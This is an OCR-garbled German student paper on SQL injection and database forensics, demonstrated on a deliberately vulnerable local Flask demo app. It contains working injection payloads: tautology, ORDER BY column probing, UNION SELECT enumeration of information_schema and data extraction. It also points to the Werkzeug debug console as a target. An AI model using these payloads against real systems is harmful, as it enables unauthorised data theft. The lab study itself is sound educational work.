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Quellenangaben
Interessante Textausschnitte stammen aus:

Justin Clarke: SQL Hacking — SQL-Injection auf relationalen Datenbanken im Detalil
verstehen und abwehren. 1. Auflage, Franzis Verlag GmbH, Miinchen 2016

Definition SQL-Injection

Justin Clarke versteht gem. ihrem Buch SQL Hacking unter dem Begriff Blind SQL-Injection
eine Angriffstechnik, die eine Schwachstelle aufgrund mangelnder Eingabebereinigung fur
Datenabfragen ausnutzen, um Informationen aus der Datenbank oder Informationen Uber die
Datenbankabfrage zu gewinnen, ohne dabei auf ausfihrliche Fehlermeldungen der
Datenbank oder die In-Band-Datenverkettung zuriickgreifen zu kdnnen. Diese Definition ist
absichtlich breit gehalten und macht keine Aussagen tber bestimmte SQL-Injectionspunkte.
(Es wird nur gesagt, dass eine SQL-Injection moglich sein muss.) Es sind auch weder eine
bestimmte Servertechnologie, ein bestimmtes Anwendungsverhalten oder eine bestimmte
Technik erforderlich (abgesehen davon, dass ein fehlergestitzter Datenabruf und die
Verkettung von Daten zu gultigen Ergebnissen, z. B. durch UNION SELECT,
ausgeschlossen sind). Die Techniken zum Abgreifen von Informationen sind breit gestreut.

SQL-Injection wird hauptsachlich dazu eingesetzt, um Daten aus einer Datenbank zu
gewinnen oder die Struktur einer Abfrage zu ermitteln, in die dann SQL-Code eingeschleust
wird.

Ein potenzieller Indikator fiir ein mit SQL-Injection angreifbares Ziel ist, wenn der Benutzer
die Ausgabe auf der Seite in dem Sinne steuert, dass die Seite aufgrund der vom Benutzer
Ubermittelten Informationen zusammengestellt wird und Daten enthélt, die aufgrund von
Benutzerangaben abgerufen werden, z. B. aufgrund der angegebenen Produkt-ID.

Jede Anwendung anders ist, weshalb kein SQL-Injectionspunkt dem anderen gleicht. Das
bedeutet, dass Sie immer wieder gezielt raten und nach dem Prinzip von Versuch und Irrtum
vorgehen missen.

Schwachstellen aufzuspuren ist nur ein Teilziel. Das Hauptziel besteht darin, die
Schwachstellen in der Anwendung auszunutzen. Dazu muissen Sie eine gultige SQL-
Anforderung aufstellen, die in der Datenbank ausgefihrt wird, ohne Fehler hervorzurufen.

Kontext IT-Forensik

Gem. BSl-Leitfaden, S. 11 ist IT-Forensik die streng methodisch vorgenommene
Datenanalyse auf Datentrdgern und in Computernetzen zur Aufklarung von Vorféllen unter
Einbeziehung der Moglichkeiten der strategischen Vorbereitung insbesondere aus Sicht des
Anlagenbetreibers eines IT-Systems.

Nach Geschonneck hat der Begriff Computer-Forensik oder auch Digitale Forensik sich in
den letzten Jahren fur den Nachweis und die Ermittlung von Straftaten im Bereich der
Computerkriminalitdt durchgesetzt. In Anlehnung an die allgemeine Erklarung des
lateinischen Worts Forensik ist die Computer-Forensik ein Teilgebiet, das sich mit dem
Nachweis und der Aufklarung von strafbaren Handlungen z.B. durch Analyse von digitalen
Spuren beschéftigt.”




Als Konsequenz aus beiden Definitionen kann festgehalten werden, dass IT-Forensik bereits
mit strategischer Vorbereitung beginnt. Bei der forensischen Untersuchung/Aufarbeitung von
Sachverhalten gibt es zwei Vorgehen:

- Post-Mortem-Analyse/Offline-Forensik klart den Vorfall nachtraglich auf
- Live-Forensik/Online-Forensik untersucht den Vorfall wahrend der Laufzeit

Dabei gilt es i. d. R. wahrend einer Untersuchung folgende Fragen zu beantworten:

- Was ist geschehen?

- Woist es passiert?

- Wann ist es passiert?

- Wie ist es passiert?

- Wer hat es getan?

- Was kann gegen eine Wiederholung getan werden?

Ziele einer IT forensischen Untersuchung/Ermittlung sind:

- Erkennen der Methode oder der Schwachstelle, die zum Systemeinbruch gefiihrt
haben kénnte

- Ermittlung des entstandenen Schadens nach einem Systemeinbruch

- ldentifikation des Angreifers

- Sicherung der Beweise fir weitere juristische Aktionen

Die Datenbank-Forensik ist ein Teilgebiet der IT-Forensik. Sie beschaftigt sich mit der
Sammlung und Analyse von forensischen Artefakten aus Datenbanken. Ihre Ziele sind:

- Beweisen oder Wiederlegen einer Sicherheitsverletzung

- Ermitteln des Umfangs eines Eingriffs in die Datenbank

- Ermitteln des Abflusses von Daten aus einer Datenbank

- Rekonstruieren von DML und DDL Operationen eines Benutzers (der aufgrund einer
Sicherheitsverletzung im DBMS aktiv ist)

- Wiederherstellen geléschter Datenbank-Daten, die evtl. aufgrund von Aktionen einer
Sicherheitsverletzung entstanden sind

Grundsatzlich sollten Daten in der Reihenfolge ihrer Fliichtigkeit gesammelt werden.
Fluchtige Artefakte gehen mit Beendigung des DBMS verloren. Es wird angenommen, dass
samtliche erreichbaren Artefakte ausschlief3lich residente Artefakte sind und sich somit
innerhalb von Dateien und Speicherbereichen befinden, die explizit fir die Verwendung des
DBMS reserviert sind.

Ein hartes Abschalten ist fir Datenbanksysteme aufgrund ihrer Architektur und Arbeitsweise
nicht geeignet. Denn hier sind notwendige Artefakte haufig nur in fliichtiger Form
gespeichert, die durch das harte Abschalten verloren gehen wiirden. Dies unterscheidet die
Datenbank-Forensik von der Computer-Forensik, denn hier wird i. d. R. hart abgeschaltet
und eine Post-Mortem-Analyse durchgefihrt.

Eine vollumféangliche Behandlung samtlicher Gesichtspunkte wiirde den Rahmen dieser
Hausarbeit sprengen. Daher wird sich nachfolgend auf die eigentliche Aufgabenstellung
beschrankt.

Installation Docker-Image Herrn Hauser

Zur Installation des Dockersystems wurde eine frische Installation von Debian 11 (Bullseye)
in einer VirtualBox VM verwendet. Nach der Grundlegenden Installation und der Installation
der VirtualBox Guest Additions, wurde die nétige Software installiert:




hat your installation appears to orking correctly.

Die gestellten Aufgaben der APL wurden mit dem zur Verfliigung gestellten Docker-Image
des Herrn Hauser bearbeitet. Das Image konnte dabei vorerst ohne weitere Anpassung
verwendet werden.
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Ubersicht der Anwendung

- Nach erfolgreicher Installation und Starten des Docker-Images ist die Beispiel Web-
Applikation unter der folgenden URL erreichbar: http://localhost/

SQL Injection Demo v.1.0  V
Adminer

. DB Logindaten
Herzlich vvinnunimen

Diese Demo Applikation basiert auf Python 3.8 und Flask.
Als Infrastrul

er-compose genutzt, um die Applikation, sowie ein MySQL und ein PostgreSQL Server 7ur Verfiigung zu stellen
£s wurde absichtlich auf ein ORM verzichtet und RAW SQL genutzt, um SQL Injections zu erméglichen

Bei Fragen:

Nicolas Hauser

ngemsjaeger@stud. hs-wismar.de

- Unter dem Kopfreiter ,Tools" sind die folgenden Tools erreichbar
o L,Adminer®ist ein Tool zur vollstdndigen Verwaltung von Datenbanken.
o ,DB Logindaten® beinhaltet eine einfache Tabelle in HTML, in welcher die
Logindaten zu finden sind. Spalteniberschriften wurden vom Autor angepasst
und eine neue Spalte ,Server (Adminer)“ hinzugeflgt.

localhost % s @ (‘\Kem& Synchronisierun

ov.1.0

DB Logindaten

Datenbanksystem Adresse in VM Datenbank (Adminer) User (Adminer) Password (Adminer) Server (Adminer)
MysQL mysql "kemper” oder "mysql" root root mysql
PostgreSQL postgres kemper" oder “postgres postgres root postgres



Unter dem Menipunkt ,Aktuelles Datenbanksystem® kann zwischen einem MySQL
sowie einem PostgreSQL Datenbanksystem ausgewahlt werden
Unter dem Menupunkt ,Vorlesungen® kdnnen Daten Uber gespeicherte Vorlesungen
erreicht werden.
o Hier kann der Nutzer die gespeicherten Vorlesungen lber eine Eingabemaske
in Form eines Freitextfeldes durchsuchen (siehe 2).

SQL Injection Demo v.1.0

//l
Vorlesungen

=%}

= Dieses Freitextfeld stellt einen potenziellen Angriffspunkt dar. Es
fungiert flr den Angreifer als Schnittstelle um seine Eingaben an die
Applikation durchzureichen

= Die Eingabe des Nutzers wird via HTTP-GET-Methode, d. h. in der
URL an die Applikation durchgereicht (Form-Tag, Parameter
»,methode®). Dabei wird die Eingabe als Key-Value-Paar durch ein ,?“
getrennt an die URL angehangen. Der Parameter ,name” des Input-
Tags stellt dabei den Namen des Parameters dar, also den Key dar.
Die Nutzereingabe ist der Value, welcher dem Key nach einem ,,=*
angehangt wird. Werden in einem Formular mehrere Key-Value-Paare

Ubertragen, sind sie durch ein ,&“ voneinander getrennt.

1" placeholder:

Vorlesungen

Vorlesungsnummer Titel Professor sws

5216 Bioethik Russe 2



= Durch die GET-Methode wird die Nutzereingabe in den HTTP-Header
geschrieben.

G) (2 FEemente Konsole Quellen Netzwerk X Leistung A e 1-99 3 & ..

@ = Q [ Protokoll beibehalten [ ] Cache deaktivieren KeineDrosselung ~ ® 723 T

Filter Umkehrung () Daten-URLs ausblenden
[Alle Fetch/XHR JS CSS Img Medien Schriftart Dok. WS Wasm Manifest Andere Hat blockierte Cookies
Blockierte Anforderungen (] Drittanbieter-Anforderungen

10 ms 20 ms E 40 ms 50 ms

[Name Header Vorschau

() vorlesungen?search=bio :
v Aligemein

[ bootstrap.min.css

= Anforderungs-URL: http://localhost/vorlesungen?search-bio

[ fontawesome-all.min.css

[ jquery.minjs

[ popper.minjs

[ bootstrap.minjs

[ bootstrapmingss Referrer-Richtlinie: strict-origin-when-cross-origin

Anforderungsmethode: GET
Statuscode: ¥ 200 0K

Remoteadresse:

Antwortheader
[ jauery.minjs
[ popper.minjs
[ bootstrap.minjs

P Date: Sun, 24 Oct 2021 16:20:01 GMT
=] dataimage/svgxm;...

Content-Length: 3.
Content-Type: text/html; charset-utf-8

Server: Werkzeug/1.8.1 Python/3.8.12
w Anforderungsheader
Accept: text/html,application/xhtml+xml,application/xml;q-0.9,image/webp, imag
0.3, application/signed-exchange;v=b3;q=0.9
gzip, deflate, br
Accept-Language: de,de-DE;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: max-age=0
Connection: keep-alive
Cookie: adminer_key=ae4d16d9286780ec96ad17bc@f68dae5; adminer version=4.8.1;
adminer_permanent=; adminer_sid=c8b357977dal107b7aef50a6d19e9esh
Host: localhost
[ bootstrap.mings sec-ch-ua: "Microsoft Edge”;v="95", “"Chromium";v="95", ";Not A Brand";v="99"
[&) dataimage/svg+xmi.... sec-ch-ua-mobile: 20
sec-ch-ua-platform: “Windows ™
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: 21
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplelebKit/537.36 (KHT
ML, like Gecko) Chrome/95.8.4633.54 Safari/537.36 Edg/95.0.1620.30
w Abfragezeichenfolge-Parameter Quelle anzeigen decodiert anzeigen

search: bio

= Durch den Parameter ,value® wird der Platzhalter (Parameter
.placeholder”) mit der aktuellen Nutzereingabe Uberschrieben,
nachdem der Button ,Suchen® geklickt und somit das Formular mit der
Nutzereingabe an den Server abgeschickt wird. Ohne den Parameter
,value“ wirde nach einer Nutzereingabe und Klick auf den Button
~ouchen” die Nutzereingabe wieder durch den Platzhalter
,vorlesungen® Uberschrieben werden. Er hat also nicht direkt damit
etwas zu tun, die Nutzereingabe an den Server zu schicken.

Vorlesungen

Vorlesungsnummer

= Wird das Key-Value-Paar vor dem neu Laden einer Seite nicht aus der
URL entfernt, bleibt die Suche bestehen.
o Die Schwachstelle ist in der app.py Datei zu finden, welche der ,Server-Datei*
entspricht. Sie beinhaltet den Einstiegspunkt in die Web-Applikation. Hier wird
u. a. die Web-Applikation konfiguriert, die Datenbank-Connectoren jeweils fur



MySQI und PostgreSQL gesetzt und die HTML-Dateien/Webseiten der
Website ,SQL Injection Demo v.1.0“ den jeweiligen Verzeichnispfaden
zugeordnet.

Mochte ein Nutzer bspw. durch Klick auf den MenUpunkt ,Vorlesungen® alle
Vorlesungen aufrufen, hangt er in der URL der Domain ,localhost® den
Verzeichnispfad ,vorlesungen® an.

(@ localhost/vorlesungen

o Dabei wird der folgende Python-Code innerhalb des Servers (app.py)
ausgefuhrt. In Zeile 44 wird aus dem HTTP-GET-Request bzw. dem HTTP-
Header der Wert der zuvor erwahnten ,search” Variable extrahiert und in einer
lokalen, gleichnamigen Python-Variable gespeichert. Da beim ersten Aufruf
durch Klick auf den Menupunkt ,Vorlesungen® ohne manuelle Manipulation
der URL noch kein Parameter dem GET-Request bzw. HTTP-Header
angehéangt wurde, wird der Default-Wert (“) verwendet, welcher die
Vorlesungen nicht filtert.

apppy X

Persnr WHERE v.Titel LIKE "%{search

In Zeile 47 ist zudem die Business-Logik, welche zur Vereinfachung nicht in
eine Service-Schicht ausgelagert wurde, zu finden. Sie beinhaltet keinerlei
Filter bzw. Kontrollen der Nutzereingabe. Der GET-Parameter ,search” wird
ohne Validierung in das SQL-Statement eingesetzt. Eine ernstzunehmende
Schwachstelle.
Gem. Demeter-Prinzip, hoher Kohasion, Schichtentrennung muisste die SQL-
Abfrage eigentlich in ein Data Access Object (Datenhaltungsschicht)
ausgelagert werden, welche wiederrum von der vorgelagerten Service Schicht
angestof3en wird. Das Abfrageergebnis wiirde das Data Access Object dann
erst an die Service-Schicht zurtickgeben, welche es dann schlussendlich an
den Aufrufer (HTML-Seite) weiterleitet und ggf. vorher noch weitere Logik
ausfuhrt. Somit ware eine dreischichtige Architektur gegeben.
= Durch die fehlende Schichtentrennung fehlt Angriffswiderstand und die
Auswirkungen einer erfolgreichen SQL-Injection kdnnen nicht
eingedammt werden. Folgende Probleme sollen mittels Schichten im
Zusammenhang von SQL Injection verhindert werden:
1. Via SQLi kénnen Dateien geschrieben werden, die vom Webserver aus-
gefiihrt und das Ergebnis an den Angreifer ausgeliefert werden. Dies ist
eine haufig verwendete Methode, um sogenannte Webshells zu installie-
ren, die dem Angreifer Zugriff aus Systemebene gewéahren.
2. Via SQLi kénnen z. B. via DNS-Anfragen Ergebnisse von BLIND-SQLi an
den Angreifer ausgeliefert werden.
3. Méoglicher Zugriff auf Netzressourcen, z. B. SMB oder LDAP fir Seiten-
kanalangriffe.
= Da Python eine dynamisch typisierte Sprache ist und hier beim
Deklarieren einer Variablen kein Datentyp angegeben werden kann,
kann Nutzereingabe Werte diverser Datentypen annehmen.
- Der Menupunkt ,Vorlesungen® bzw. die dort enthaltene Suchfunktion ist gem. GUI fur
den Nutzer die einzige Mdglichkeit Daten aus der Datenbank abzufragen. Daher wird




fur die nachfolgenden Beispiele ausschlief3lich die Suchfunktion der Webseite
,Vorlesungen* herangezogen.

Ubersicht SQL-Injection-Arten mit MySQL-Beispielen
In-Band-SQL-Injection
Parameterveranderung

Hier werden SQL-Befehle an die Eingabeparameter anhangt und somit die Ausgabe
manipuliert. Als bspw. ist eine Erweiterung via logischem Operator zu nennen (,' OR
1 =1 erganzen.

Gem. Hense Bachelor-Thesis wird die Parameterveranderung mit einem ,* zwischen
OR und 1 geschrieben.

0  © localhost

SQL Injection Demo v.1.0

Vorlesungen
Vorlesungsnummer Titel Professor SWS
5216 Bioethik Russel
5250 Der Wiener Kreis Popper
4630 Die 3 Kritiken Kant
5043 Erkenntnistheorie Russel 3
5041 Ethik Sokrates
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 4
4p52 Logik Sokrates
5049 Maeeutik Sokrates 2
5052 Wissenschaftstheorie Russel

q c B @ loalhost

SQL Injection Demo v.1.0

Vorlesungen
Vorlesungsnummer Titel Professor SWS

5259 Der Wiener Kreis Popper 2

Das Hochkommata kdnnte allerdings auch an anderer Stelle stehen wie bspw.
innerhalb des Kommentars, damit die Abfrage erfolgreich durchlauft. AuRerdem ,OR



1“ und ,OR 1=1* 4quivalent.

4 o] 0 O localhost

SQL Injection Demo v.1.0

Vorlesungen

Vorlesungsnummer Titel Professor SWs
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4
5043 Erkenntnisthearie Russel 3
5041 Ethik Sokrates 4
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 4
4052 Logik Sokrates 4
5049 Maeeutik Sokrates 2
5052 Wissenschaftstheorie Russel 3

Am saubersten und immer verwendet werden sollte stets folgendes Format, da SQL-
Statements stets mit einem Semikolon abgeschlossen werden.
d C 0  ©® localhost,

SQL Injection Demo v.1.0

Vorlesungen

Vorlesungsnummer Titel Professor SWS
4052 Logik Sokrates 4
4630 Die 3 Kritiken Kant 4
5001 Grundzuege Kant 4
5022 Glaube und Wissen Augustinus 2
5041 Ethik Sokrates 4
5043 Erkenntnistheorie Russel 3
5049 Maeeutik Sokrates 2
5052 Wissenschaftstheorie Russel 3
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2

d C QA @ localhost

SQL Injection Demo v.1.0

Vorlesungen

bio %" OR v.VorINr > 5220; -- m

Vorlesungsnummer Titel Professor SWs

5259 Der Wiener Kreis Popper 2



Fehlerbasierte/Error Based SQL-Injection
- Beifehlerbasierter SQL-Injection werden bewusst fehlerhafte Statements erstellt, um
eine Fehlermeldung zu provozieren. So erhalt ein Angreifer Infos Uber die
verwendeten Bibliotheken/Frameworks (hier sglalchemy, Flask), das verwendete
Datenbanksystem (MySQL) sowie Programmier- bzw. Skriptsprache (hier Python)
und die eigentliche SQL-Abfrage. Die Ausgabe wird mittels LEFT JOIN aus zwei
Relationen zusammengesetzt.

SQL Injection Demo v.

Vorlesungen

bio' OR 1=1 --"

A O localhost

sqlalchemy.exc.ProgrammingError

sqlalchemy.exc.ProgrammingErrar: (mysql.connector.errors.ProgrammingError) 1064 (42000): You have an error in your SQL syntax; check the manual that correspands to your MySQL server
version for the right syntax to use near '™1 --%' ORDER BY v.Titel' at line 1

[SQL: SELECT v.vorlhr, v.Titel, p.Name, v.SWS FROM Vorlesungen v LEFT JOIN Professoren p ON v.gelesenVon = p.Persnr WHERE v.Titel LIKE "%bio' OR "1 --¥' ORDER BY v.Titel]
(Background on this error at: http://sqlalche.me/e/13/f485)

Traceback (most recent call last)

File " /usr/local/ lib/python3.8/site-packages/mysql/connector /connection_cext.py", line 487, in cmd_query

self._cmysql.query(query,

During handling of the above exception, another exception occurred

File " /usr/local/lib/ python3.8/site-packages/sqlalchemy/engine /base.py”, line 1277, in _execute_context

self.dialect.do_execute(

File " /usr/local/ lib/ python3.8/site-packages sqlalchemy/engine/default.py’, line 593, in do_execute

cursor.execute(statement, parameters)

File /usr/local/lib/ pythan3.8/ site-packages,/mysql/connector/cursor_cext.py’, line 264, in execute

result = self._cnx.cnd_query(stmt, raw-self._raw,

File " /usr lib/python3.8/ site-packages/mysql/ connector/connection_cext.py”, line 497, in cmd_query

raise errors.get_my ception(exc.errno, msg:

The above exception was the direct cau

f the following exception

3.8/site-packages/flask/app.py”, line 2464, in __call__

File "/usr/local/lib/pytho

return self.wsgi_app(environ, start_response)

File " /usr/local/lib/ python3.8/site-packages/flask/app.py”, line 2450, in wsgi_app

response = self.handle_

tion(e)
File */usr/local/lib/python3.8/site-packages/ flask/app.py”, line 1867, in handle_exception
reraise(exc_type, exc_value, tb)
File " /usr/local/lib/ python3.8/site-packages/flask/_compat.py”, line 39, in reraise
raise value

File */usr/local/lib/ python3.8/site-packages/flask/app.py”, line 2447, in wsgi_app

response = self.full_dispatch_request()

File "/usr/local/lib/python3.8/site-packages/flask/app.py”, line 7952, in full_dispatch_request
rv = self.handle_user_exception(e)

File */usr/local/lib/python3.8/site-packages/flask/app.py”, line 7821, in handle_user_exception
reraise(exc_type, exc_value, tb)

File "/usr/local/lib/python3.8/site-packages/flask/_compat.py”, line 39, in reraise
raise value

File "/usr/local/lib/python3.8/site-packages/flask/app.py”, line 7958, in full_dispatch_request

rv = self.dispatch_request

File “/usr/loca hon3.8/site-packages/flask/app.py”, line 7936, in dispatch_request

return self.v nctions[rule.endpoint](**req.vien_args)

File */app/app.py", line 47, in vorlesungen

result = session.execute(f"SELECT v.vorlNr, v.Titel, p.Mame, v.SWS FROM Vorlesungen v LEFT JOIN Professoren p ON v.gelesenvon = p.Persnr WHERE v.Titel LIKE '%{search}%’ ORDER BY
v.Titel"



File */usr/local/lib/python3.8/ site-g ssion.py”, line 7291, in execute

sult=True).execute( or

py", line /074, in execute

File "/usr/local/lib/python3.8

File "/ usi s.py", line 298, in _execute_on_connection

, params)

File “/us y",line 1127, in_execute_clauseelement
File es/sqlalchemy/engine/base.py”, line /317, in _execute_context
elf
File "/u I/1ib/python3.8/ site-packages/sqlalchemy/engine /base.py", line 7571, in _handle_dbapi_exception
File “/usr/local/lib/python3.8/site-packages/sqlalchemy/util/compat.py”, line /78, in raise_
File "/u n3.8/site-packages/sqlalchemy/engine /base.py", line /277, in _execute_context
File "/u ngine/default.py’, line 593, in do_execute
ur
File */u r_cext.py’, line 264, in execute
File “/u tion_cext.py”, line 497, in cmd_query

sqlalchemy.exc.ProgrammingError: (mysql.connector.errors.ProgrammingError) 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near "1 --%' ORDER BY v.Titel' at line 1

[SQL: SELECT v.VorINr, v.Titel, p.Name, v.SWS FROM Vorlesungen v LEFT JOIN Professoren p ON v.gelesenVon = p.Persnr WHERE v.Titel LIKE '%bio' OR "1 --%' ORDER BY v.Titel]

(Background on this error at: http://sqlalche.me/e/13/f405)

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error

To switch between the interactive traceback and the plaintext one, you can click on the "Traceback® headline. From the text traceback you can also create a paste of it. For code execution mouse
over the frame you want to debug and click on the console icon on the right side.

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection

) shows all variables in the frame

3) dumps all that's known about the object

- Wird Uber eine Zeile im Traceback gehovert, erscheint die Mdglichkeit die Konsole zu
offnen. Hierfir wird eine PIN bendtigt, welche auf der STO in der Shell steht, in
welcher der Server lauft. Dies stellt ein weiteres Angriffsziel, bspw. via Brute Force-
Methode dar.

File “/usr/local/lib/python3.8/site-packages/sqlalchemy/orm/session.py’, line 7291, in execute

return self._connection_for_bind(bind, close_with_result=True).execute(

Console Locked

The console is locked and needs to be unlocked
by entering the PIN. You can find the PIN
printed out on the standard output of your
shell that runs the server.

Y —

- Mit folgender fehlerbasierter SQL-Injection kann die Attributanzahl einer Relation
ermittelt werden, welche dann in einer unionbasierten SQL-Injection verwendet
werden kann. Da die HTML-Seite bereits 4 Attribute anzeigt, ist dieser Wert der Start,
der nachfolgend weiter bis zu einer Fehlermeldung inkrementiert wird.

N C O  ® localhost

SQL Injection Demo v.1.0  Vorlesungen T

Vorlesungen

bio %' ORDER BY 4; --

Vorlesungsnummer Titel Professor Sws

- Gem. Fehlermeldung beim Versuch nach dem 5. Attribut zu sortieren, besteht die
Ausgabe lediglich aus 4 Attributen. Die Ausgabe wird aus zwei Relationen



zusammengesetzt (Vorlesungen, Professoren).

0 localhost.

sqglalchemy.exc.ProgrammingError

sqlalchemy.exc.ProgrammingError: (mysql.connector.errors.ProgrammingError) 1054 (42522): Unknown column 'S in ‘order clause’
[sQL: SELECT v.vorlnr, v.Titel, p.Mame, v.SWS FROM Vorlesungen v LEFT JOIN Professoren p ON v.gelesenvon = p.Persnr WHERE v.Titel LIKE 'Xbio %' ORDER BY 5; --%' ORDER BY v.Titel]
(Background on this error at: http://sqlalche.me/e/13/f4e5)

Traceback (most recent call last)

File */usr/local/lib/pythe

self._cmysql.query(query,

8/site-packages/mysgl/connector/connection_cext.py’, line 487, in cmd_query

- Eine Abfrage der Relation Vorlesungen ist hier nicht hilfreich, da sich die eigentliche
Ergebnisrelation aus ausgewahlten Attributen der Relationen Vorlesungen und
Professoren zusammensetzt. Es ist Zufall, dass die Attributanzahl der Relation
Vorlesungen auch 4 entspricht. Anstellte dem Attribut Vorlesungen.gelesenVon wird

das Attribut Professoren.name verwendet.

q c 0 @ loclhost

MySQL » mysql » kemper » Tabelle: Vorlesungen

Tabelle: Vorlesungen

Daten auswahlan  Struktur anzeigen  Tabelie andem

spalte | Tvo Kommentar
VorlNe
Titel 10) NULL
sws
gelesenVon

Indizes

PRIMARY  Veritir

Indizes andern
FremdschlUssel

Framdschlassel hinzufogen

Trigger

Trigger hinzufigen

Unionbasierte SQL-Injection

zeigen pruefes
28igen voraussetzen

MySQL » mysgl » kemper » Tabelle: Professaren

Tabelle: Professoren

Daten auswihlen  Struktur anzeigen Tobslle sndern  Neusr Datensatz

spalte Typ Kommentar
Pershr int

iar(30)
Rang UL
Raum

Indizes

PRIMARY Pershic
UNIQUE  Faum

Indizes andern
Fremdschllssel
Fremdschitssel hinzuftigen

Trigger
Trigger hinzufogen

- Mit unionbasierter SQL-Injection konnen Daten aus anderen Relationen an eine
vorhandene Abfrage angehangt werden. Hierfir miissen die Anzahl der Spalten und
deren Datentyp Ubereinstimmen. Somit kénnen mehrerer Abfragen in einem einzigen

Ergebnis kombiniert werden.

- In nachfolgenden Beispielen werden immer wieder Unionbasierte SQL-Injections

verwendet.

- Gibt die Webanwendung nur eine Zeile zuriick, darf die urspriingliche Abfrage keinen

Wert zurtickgeben.

- Mit folgendem Statement werden die Attribute durchnummeriert. Au3erdem wir durch
AND 0 gewahrleistet, dass die eigentliche Abfrage stets false ergibt und somit nicht

im Ergebnis angezeigt wird.
4 cafl o

SQL Injection Demo v.1.0

Vorlesungen

bio%' AND 0 UNION SELECT 1, 2, 3, 4; --

Vorlesungsnummer

1

Titel Professor SwWs

2 3 4

- Mit folgendem Statement kann die Relation Information_Schema durchsucht werden.
INFORMATION_SCHEMA provides access to database metadata, information about
the MySQL server such as the name of a database or table, the data type of a
column, or access privileges. Other terms that are sometimes used for this
information are data dictionary and system catalog. (Quelle:



https://dev.mysgl.com/doc/refman/5.7/en/information-schema.html)

O localhost

ov.1.0

bio%" AND O UNION (SELECT table_schema, table_name, column_name, 0 as n FROM information_schema.columns); --
Vorlesungsnummer  Titel Professor
information_schema ADMINISTRABLE_ROLE_AUTHORIZATIONS GRANTEE

information_schema

information_schema

information_schema

information_schema

information_schema

information_schema

information_schema

information_schema

ADMINISTRABLE_ROLE_AUTHORIZATIONS

ADMINISTRABLE_ROLE_AUTHORIZATIONS

ADMINISTRABLE_ROLE_AUTHORIZATIONS

ADMINISTRABLE_ROLE_AUTHORIZATIONS

ADMINISTRABLE_ROLE_AUTHORIZATIONS

ADMINISTRABLE_ROLE_AUTHORIZATIONS

ADMINISTRABLE_ROLE_AUTHORIZATIONS

ADMINISTRABLE_ROLE_AUTHORIZATIONS

GRANTEE_HOST

HOST

IS_DEFAULT

I5_GRANTABLE

IS_MANDATORY

ROLE_HOST

ROLE_NAME

USER

Die Suche kann mit der Funktion database() weiter auf die aktuelle Datenbank
eingeschrankt werden (in diesem Fall Kemper).
bio%' AND O UNION (SELECT table_schema, table_name, column_name, 0 as n
FROM information_schema.columns WHERE table_schema = database()); --

© localhost

ov.1.0

Vorlesungen

bio% AND 0 UNION (SELECT table_schema, table_name, column_name, 0 as n FROM information_schema.columns WHERE table_schema = ¢

Vorlesungsnummer

kemper

kemper

kemper

kemper

kemper

kemper

kemper

Titel

Assistenten

Assistenten

Assistenten

Assistenten

Professoren

Professaren

Professoren

Professor SWs
Boss o]
Fachgebiet 0
Name 0
PersNr 0
Name 0
PersNr 0
Rang o]

SWs



https://dev.mysql.com/doc/refman/5.7/en/information-schema.html

Vorlesungen

bio%' AND 0 UNION (SELECT MatrNr, VorlNr, PersNr, Note as n FROM kemper.pruefen); --

Vorlesungsnummer Titel Professor sSws

25403 5041 2125 2.0

27550 4630 2137 20

28106 5001 2126 1.0

Inferenzielle SQL-Injection/Blind-SQL-Injection

Blind-SQL-Injection kann angewendet werden, wenn eine ungultige SQL-Abfrage zu
einer allgemeinen Fehlerseite fuhrt. Glltiger SQL-Code liefert die korrekte
Ergebnisseite, deren Inhalt zu einem gewissen Grad beeinflusst werden kann.
Allerdings ist der Angreifer nicht in der Lage, die Ergebnisse der Abfrage abzurufen.
Blind SQL-Injection fuhrt zu keinen niitzlichen Fehlermeldungen oder sonstigen
Reaktionen.

Fur eine Blind SQL-Injection-Angriffe missen ausfiihrliche Fehlermeldungen
deaktiviert allerdings Allgemeine aktiviert sein, welche es mit der Blind SQL-Injection
zu beeinflussen gilt. Alternativ kdnnen auch der Inhalt der Seite durch SQL-
Logikmanipulationen verwendet werden, um Daten Byte fiir Byte abzuleiten. Es
konnen auch Zeitverzogerungen, DNS- oder HTML-Antworten genutzt werden

Blind SQL-Injection kann bspw. dazu genutzt werden, um zu sehen, ob die Injektion
einer Select-Anweisung geklappt hat

Ein blind SQL-Injection Angriff muss automatisiert werden, da diese Vorgehensweise
es erfordert, viele Anforderungen an den Webserver zu senden, und daher sehr viel
Zeit kostet.

In der Annahme SQL-Injection zu vermeiden, fingen Entwickler zu Beginn der
Softwareentwicklung Fehler innerhalb der Anwendung ab, um nur noch eine
allgemeine Fehlermeldung anzuzeigen. Benutzer sahen in anderen Féllen keine
Fehlermeldungen mehr. Dennoch konnte so vom Angreifer bereitgestellter SQL-Code
ausgefihrt werden (blind SQL-Injection).

Blind-Boolean-basierte SQL-Injection

Da die Seite eine Rickmeldung gibt (wenn auch nicht in Form ausfihrlicher
Fehlermeldungen), ist es moglich, entweder einen zeitgestiitzten Exploit einzusetzen
oder das von der Seite angezeigte Dataset zu andern. Bspw. indem unterschiedliche
Produkte angezeigt werden, je nachdem, ob ein 0-Bit oder ein 1-Bit extrahiert wurde.
Oft reicht schon die Einschleusung eines einzelnen Anfuhrungszeichens, um die
SQL-Abfrage aus dem Gleichgewicht zu bringen und die Anzeige einer allgemeinen
Fehlerseite zu provozieren.

Lassen sich in zwei Kategorien einteilen, ndmlich in Deduktionstechniken und
Techniken mit alternativem oder Out-of-Band-Kanal. Bei den Deduktionstechniken
wird SQL-Code verwendet, um Fragen Uber die Datenbank zu stellen und
Informationen langsam, ein Bit nach dem anderen, abzugreifen. Bei Out-of-Band-
Angriffen dagegen werden Mechanismen eingesetzt, die unmittelbar grof3ere
Informationsbrocken tber einen verfligbaren Out-of-Band-Kanal abrufen.

In diesem Beispiel wird der relevante Datensatz welcher den Substring ,,bio%*
beinhaltet zuriickgegeben, wenn der 1. Buchstabe des Users der die SQL-Abfragen




